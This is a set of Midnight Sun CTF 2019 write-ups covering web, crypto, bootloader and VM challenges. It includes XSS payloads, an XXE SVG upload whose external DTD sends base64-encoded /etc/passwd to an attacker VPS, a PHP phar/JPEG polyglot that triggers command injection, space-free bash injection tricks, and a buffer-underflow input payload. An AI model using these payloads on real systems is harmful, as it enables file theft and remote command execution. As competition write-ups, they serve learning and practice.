Midnight Sun CTF 2019

Marcodowno & Marcozuckerbergo

Marcodowno & Marcozuckerbergo

Author: Karol Baryła (aka Lorak_)

In those 2 challs we are given sites which takes parameter from URL and then interpret and render it: in Marcodowno as Markdown, in Marcozuckerbergo as graph from mermaid.js library. Our task is to create and URL which will make alert(1) pop upoin visiting the site.

Marcodowno

Whole Markdown interpreter is interpreted as simple chain of replaces on original parameter. The one that intrests us is .replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>'). Contents of alt parameter are unrestricted, so we can do something like ![aaa" onerror="alert(1)](https://google.com) which is turned into <img src="https://google.com" alt="aaa" onerror="alert(1)"> and solves the task.

Marcozuckerbergo

Mermaid lets us put images into nodes (https://github.com/knsv/mermaid/issues/548) We can try modifying line from answer to something like Dir((<img src='' onerror='alert(1)' width='40' />)) but the parser doesn't like ( and ). So we can use the other syntax for calling functions, and end up with

graph LR;
    A-->B;
    Dir((<img src='' onerror='alert`1`' width='40' />))

which solves the task

Crypto (short)

EASYDSA

In the code there is (k=genu*m(mod q)), so if we can get (k=1) decoding other stuff will be much easier. But u is random and there is assert (m%(q-1)!=0) so we can't use Fermat's little theorem that (aq-1=1(mod q)).
But maybe there is other exponent that gives (qexp=1)?
If so then exp divides (q-1) so we check divisors of (q-1). (q-1)/2 was first thing I checked and it works. With that decoding message is straightforward.

open-gyckel-krypto

Let's say (mod=10250, a=p%mod, b=q%mod).
Then (p=mod*b+a, q=mod*a+b).
Then (n=mod^2*a*b + mod*(a*a+b*b) + a*b).
(a*b) is not longer than 500 digits, (a*a+b*b) is no longer than 501 digits (and first can only be 1 if 501 digits).
So (n%mod=(a*b)%mod, n/mod^3=(a*b)/mod+(+1))
So for both possibilities we do following:
From (a*b)%mod and (a*b)/mod we know a*b.
Also we can calculate mod*(a*a+b*b) as (n-a*b*(1+mod^2)).
So we can get (a*a+2*a*b+b*b) what is (a+b)^2.
At this point we can check if it's square and it is in second possibility, so from now on we calculate only this.
In the same manner we calculate (a-b)^2 and from that we get a and b. That gives us p and q so we can decode message.

Tulpan257

k is length of flag + 1, all polynomials are over Zmod257.
We are given random polynomial of degree k+1 and 107 values ai. Let's call m(x) - polynomial masked. We know that with about 60% chance ai is m(i) otherwise it's some random number.
If we have 26 correct values for m(i) we can interpolate it and that's our goal.
So I wrote a program that takes 26 random indices and interpolates m(x) assuming those values are correct.
To check if it's correct m(x) I check for each ai if it fits. Bad guesses should not match for more than 30 indices and correct guess should match for about 60. So each time guess is better than all previous I print it.
The probability that all choose indices is about (0.6**26) so about one in a million (not really but kind of). With my not so efficient c++ implementation it took about 9min with about 3.5 million guesses. Here's the polynomial:
138 + 65*x + 77*x^2 + 143*x^3 + 200*x^4 + 174*x^5 + 177*x^6 + 59*x^7 + 122*x^8 + 87*x^9 + 28*x^10 + 150*x^11 + 123*x^12 + 53*x^13 + 46*x^14 + 105*x^15 + 199*x^16 + 133*x^17 + 76*x^18 + 235*x^19 + 95*x^20 + 215*x^21 + 233*x^22 + 158*x^23 + 181*x^24 + 136*x^25.

So know we have to get flag from m(x). We know flag was converted to polynomial of degree 25 and we are given r(x) of degree 26. We know that (m(x)=(r(x)*flag(x))%(x^26+1)).
If we say that flag(x)=sum(bix^i) we get 26 equations for bi. We also know that (b25=0). Then we solve this system of equations and get the flag.

pgp-com

First I read A LOT about pgp format from link.
So we are given private key A, and three messages. First and third are encoded with public keys A, B, C. Second has only keys B, C so we don't know how to decoded.
But in third message there is:

We have received some indications that our PGP implementation has problems with randomness.
The dev team is currently working on fixing the issue.

From now on our goal is to decode first and third session key.
I couldn't find any useful tools, so I did is mostly manually. My steps were:

Then we see that:

key1 = '0000000000000000000000000000000000000000000000000000000000001336'
key3 = '0000000000000000000000000000000000000000000000000000000000001338'

(keys in hex).

So the guess is that: key2 = '0000000000000000000000000000000000000000000000000000000000001337'
I didn't want to decode AES and everything else manually so I did following (#nr is reffering to linked document):

That gives us message containing flag.

From: Midnight Sun CTF Admin <admin@midnightsunctf.se>
To: Midnight Sun CTF Devteam maillist <devs@midnightsunctf.se>
Subject: 
Date: 2019-04-02 17:27:07

Hi,

How could you implement a system with such bad session key generation!?

Please remeber that midnight{sequential_session_is_bad_session} in the future...

Best regards,
CTF Admin

Rubenscube

Rubenscube

Author: Karol Baryła (aka Lorak_)

Task from Midnight Sun CTF 2019 Quals In this challange we have a website which is very simple image hosting. Robot image on the front page hints us to visit /robots.txt:

User-agent: *
Disallow: /harming/humans
Disallow: /ignoring/human/orders
Disallow: /harm/to/self
Disallow: source.zip

/source.zip contains website's source code. Turns out it allows us to upload png, jpg and svg images. One part of source is immediate red flag:

<?php
$xmlfile = file_get_contents($file);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$svg = simplexml_import_dom($dom);
?>

So we have an XXE. To exploit it we use an svg image to upload:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE data SYSTEM "http://myvpsdomain.something/payload.dtd" >
<svg
	xmlns="http://www.w3.org/2000/svg"
	width="100"
	height="100"
	viewBox="-32 -32 68 68"
	version="1.1">
	<script>&send;</script>
	<circle
		cx="0"
		cy="0"
		r="24"
		fill="#c8c8c8"/>
	</svg>

and on vps:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myvpsdomain.something/12ox1321?p=%file;'>">
%all;

and that let us read files from system. (Small note: in such challanges it is very useful to have an instance of https://github.com/Runscope/requestbin running on some vps). At that point I thought that the challange is over, but the flag was nowhere to be found, none of the usual locations was present. After some time I decided that it is probably not enough and started to search for other vulnerability.

<?php
function create_thumb() {
        $file_path = $this->folder . $this->file_name . $this->extension;
        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
}

Where $this->folder is defined as:
$this->folder = $file_path = "images/" . session_id() . "/";
?>

So if we can control session_id, we can perform command injection. First attempt on that was to just modify PHPSESSID cookie and hope for the best. Suprisingly, it worked on my VPS, with some limitations (', ", \, space and some other chars were not working, so I had to perform bash commands without them), which I spent some time to bypass (no spaces allowed was the biggest problem. To do commands without them you can do something like: $(sleep${IFS%?}10), which works on bash, dash, sh and probably some others.). After preparing full payload I tried to execute it on VPS, it worked, I had reverse shell. But when I tried to perform it on tasks machine, nothing happened. After spending some time thinking what went wrong and contacting the organizers, it turned out Ubunutu and Debian have different defaults when it comes to restrictions on PHPSESSID. So another dead end.

Third and final vulnerability was PHP unserialization. We can upload an image which is a polyglot: jpg and phar at the same time. Thanks to the earlier discovered XXE we can actually use it. We will be deserializng Image class, to perform earlier mentioned command injection, just in different way than modifying PHPSESSID cookie. To to that, I tried to use this tool: https://github.com/kunte0/phar-jpg-polyglot, but it produced jpgs with wrong header, which were not recignized by the website. So I produced small script to create proper jpg/phar.

Final attack was to first pload polyglot JPG, then upload SVG which loaded our JPG as phar, which then performed command injection. Final svg:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE data SYSTEM "http://myvpsdomain.something/payload.dtd" >
<svg
	xmlns="http://www.w3.org/2000/svg"
	width="100"
	height="100"
	viewBox="-32 -32 68 68"
	version="1.1">
	<script>&send;</script>
	<circle
		cx="0"
		cy="0"
		r="24"
		fill="#c8c8c8"/>
	</svg>

payload.dtd on VPS:

<!ENTITY % file SYSTEM "phar://images/ft00qtgjr96vaonmi9ait13k17/0deb0a9444214bb3dd77c8ba2cd50d2cb54f4df2.jpg/test.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://myvpsdomain.something/12ox1321?p=%file;'>">
%all;

Script to procude jpg:

<?php
$payload= " ; ./flag_dispenser> images/ft00qtgjr96vaonmi9ait13k17/flag.txt #";
class Image {}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p->addFromString("test.txt", "test");
$object = new Image;
$object->folder = $payload;
$object->file_name = '';
$object->extension = '';
$p->setStub("\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xdb\x00\x43\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc2\x00\x0b\x08\x00\x01\x00\x01\x01\x01\x11\x00\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10<?php __HALT_COMPILER(); ?>");
$p->setMetadata($object);

rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.jpg');

?>

Hfs-mbr

Hfs-mbr

In this challange we were given a disk image containing Bootloader + FAT32 filesystem. Our goal was to retrieve the password required to boot to the FreeDos system. Due to the lack of remote debugging support in IDA Free (as far as we know it is only available in IDA Pro), we were forced to use hybrid method of analyzing bootloader.

Stage 1.

First of all, we've attached gdb and set breakpoint at the start of bootloader (the address was given in README file). Next we've dumped next few kilobytes of program:

dump binary memory dump.bin 0x7c00 0x7fff

and analyzed it with IDA. It was stage 1 of bootloader which performs basic initialization of system and loads the next part.

Stage 2.

After setting next breakpoint and executing similar command in gdb (dump binary memory dump.bin 0x7e00 0x7fff), we successfully extracted the most interesting part of bootloader - the password checker. After performing an analyze of the assembly code, we translated it to the following C code:

int verifyPassword(void) {
  char correctness = 0;
  char letterCnt = 0;
  char dl = 0;
  char i = 0;
  while(1) {
    char chr = getChar();
    dl = chr;
    i++;
    if(chr < 'a' || chr > 'z') {
        std::cout << "Invalid character in string" << std::endl;
        return 0;
    }
    switch(chr) {
        case 'e':
            dl ^= letterCnt;
            dl -= 0x60;
            if(dl == 2) goto stepCloserToWin;
            else        goto addCharacter;
            break;
        case 'j':
            dl ^= letterCnt;
            dl -= 0x30;
            if(dl == 0x38) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'n':
            dl ^= letterCnt;
            if(dl == 0x68) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'o':
            dl ^= letterCnt;
            dl += 0x20;
            if(dl == 0x8e) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'p':
            dl ^= letterCnt;
            dl += 20;
            if(dl == 0x88) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'r':
            dl ^= letterCnt;
            dl += 0x32;
            if(dl == 0xac) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 's':
            dl ^= letterCnt;
            if(dl == 0x73) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'u':
            dl ^= letterCnt;
            dl -= 0x30;
            if(dl == 0x46) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        case 'w':
            dl ^= letterCnt;
            dl += 0x10;
            if(dl == 0x82) goto stepCloserToWin;
            else           goto addCharacter;
            break;
        default:
            goto addCharacter;
            break;
    }
    stepCloserToWin:
        correctness++;
        if(correctness == 9)
            return 1;
    addCharacter:
        letterCnt++;
        if(letterCnt == 9)
            return 0;
  }
}

From the code above, it's clear that the password must be 9 character long and consists only of letters "ejnoprsuw". The entered character is being xored with its position in input and compared with some constant value.

For example reversing letter "e": 
e in ascii: 1100101
0x60 + 2:   1100010
xor:		0000111 == 7

So letter "e" should be 7th letter in password (counting from 0). After performing the same operation on all 9 letters we quickly reversed the correct password: sojupwner. When bootloader accepts password, it loads the 3. stage, which prints the flag stored in file FLAG1 and opens shell (which we have pwned as a part of the next challenge - Hfs-dos).

Hfs-dos

Hfs-Dos

This challenge is continuation of Hfs-mbr task.

In this challenge our goal was to print flag stored in file FLAG2.

Stage 3.

After bootloader accepts our password, it loads the third stage, which is a very simple shell named hfs-dos. Using the same method as in the previous task (i.e. in gdb: setting breakpoint and dumping program code), we've extracted program of this shell and started reverse engineering.

There was a bug in the way program handles backspace key - it decreases pointer to the current letter in buffer, but does not check if any character is still there. By using this vulnerability we could decrease the pointer to where our 4 letter command will be entered and overwrite data behind input buffer. The interesting part of program memory looks as follow:

jumpList:         dw offset loc_162         ;; Address of function ping
                  dw offset loc_165         ;; Address of function vers
                  dw offset loc_168         ;; Address of function myid
                  dw offset loc_16B         ;; Address of function pong
                  dw offset loc_16E         ;; Address of function exit
                  db  71h ; q
                  db    1
                  db 'FLAG1',0,'$'          ;; The name of file opened by function printFlag
userInputBuffer:  db    0                   ;; Input buffer
                  db    0
                  db    0
                  db    0
                  db    0

Our plan was to:

The payload to achive this:

list("sojupwner") + ['\\n'] +                                      \
	["\\x7f"]*6 + list("LAG2") +                                   \
	["\\x7f"]*12 + ["\\x4f"] + ["\\x4f"] + ["\\x4f"] + ["\\x4f"] + \
	list("exit") + ['\\n']

We've tried to pipe output of echo -ne '<above payload>' directly to qemu, but sadly some characters were lost (maybe too fast entering). To solve this we've written simple python script injecting sleep 0.4 beetwen each command echoing character:

s = ['<above_payload>']
def gen(): 
    print("(",end="") 
    for l in s: 
    	print("sleep 0.4; echo -ne \"" + l + "\"", end="; ") 
    print(";echo \"\\n\\n\\n\") | ./run",end="")

The final (enormous) payload:

(sleep 0.4; echo -ne "s"; sleep 0.4; echo -ne "o"; sleep 0.4; echo -ne "j"; sleep 0.4; echo -ne "u"; sleep 0.4; echo -ne "p"; sleep 0.4; echo -ne "w"; sleep 0.4; echo -ne "n"; sleep 0.4; echo -ne "e"; sleep 0.4; echo -ne "r"; sleep 0.4; echo -ne "\n"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "L"; sleep 0.4; echo -ne "A"; sleep 0.4; echo -ne "G"; sleep 0.4; echo -ne "2"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x7f"; sleep 0.4; echo -ne "\x4f"; sleep 0.4; echo -ne "\x4f"; sleep 0.4; echo -ne "\x4f"; sleep 0.4; echo -ne "\x4f"; sleep 0.4; echo -ne "e"; sleep 0.4; echo -ne "x"; sleep 0.4; echo -ne "i"; sleep 0.4; echo -ne "t"; sleep 0.4; echo -ne "\n"; ;echo "\n\n\n") | ./run

After executing it on the remote machine, we've got the flag.

Hfs-vm

Hfs-vm

In this challenge we were given program emulating custom architecture. After decompilation of binary, we've noticed that it consists of two separate subprograms:

They communicates with each other via socketpair.

Kernel part

We started analyse of program from the kernel part ('cause it looked simpler). It waits for packet (i.e. syscall command) from client and passes it to the function we've named process_syscall. Simplified decompiled code of this function:

int process_syscall(byte * packet, ushort * mapped) {
  ushort length;
  int retVal;
  char buffer[18];

  length = * mapped;
  memcpy(buffer, mapped + 1, length);
  switch (*packet) {
  case 0:
    call_ls();
    break;
  case 1:
    call_write(buffer, length);
    break;
  case 2:
    retVal = call_getUIDorEUID(packet[1], buffer, length);
    if (retVal != 0)
      return -1;
    break;
  case 3:
    retVal = call_readFlag(buffer, length);
    if (retVal != 0)
      return -1;
    break;
  case 4:
    retVal = call_readRandomBytes(packet[1], buffer, length);
    if (retVal != 0)
      return -1;
    break;
  default:
    return -1;
    break;
  }
  memcpy(mapped + 1, buffer, length);
  return 0;
}

The most interesting syscall for us was one with id=3, which calls function printing flag - call_readFlag. As we found our goal in kernel part of program, let's move to the client part to find a way to use it.

Client part

The current state of program is stored in structure, which we've named PROGSTAT:

typedef struct PROGSTAT {
  int       fd;
  int       unused;
  void*     mappedArea;
  int16_t   registers[16];
  int16_t   stack[32];
} PROGSTAT;

As could be seen, program executed inside VM has 16 registers and 32 bytes of stack. PROSTAT.fd is handler to socketpair used in communication with kernel.

Main part of client program, which we've named sandbox, executes each instruction. They all have size of 32-bits and have the following structure: instruction_scheme.jpg

Client implements 10 instructions:

For us the most interesting were: mov, push, syscall and dump. The selection of syscall is made by specifing its value in the first register - r1. We've used mov command to achive this: Value=3, Destination=1, P=1 (use value as source instead of register). Before calling syscall, we need to decrease SP (stack pointer) so syscall command has a place to write the flag. We've achived this by calling 25 times push. After this we've called syscall (it doesn't requires any arguments - just a valid instruction code) and Kernel wrote flag on the stack. To print it we've used dump command (again, no arguments requried), which prints on stdout values of all registers and dumps all 32-bytes of stack.

Final "payload":

from pwn import *
push =      p32(0b00000000000000010010000000000101)
payload =   p32(0b00000000000000110010000000100000) + \ # Mov r1, 3
            push*0x19                               + \ # Push * 25
            p32(0b00000000000000000000000000001001) + \ # Syscall
            p32(0b00000000000000000000000000001010)     # Dump
print payload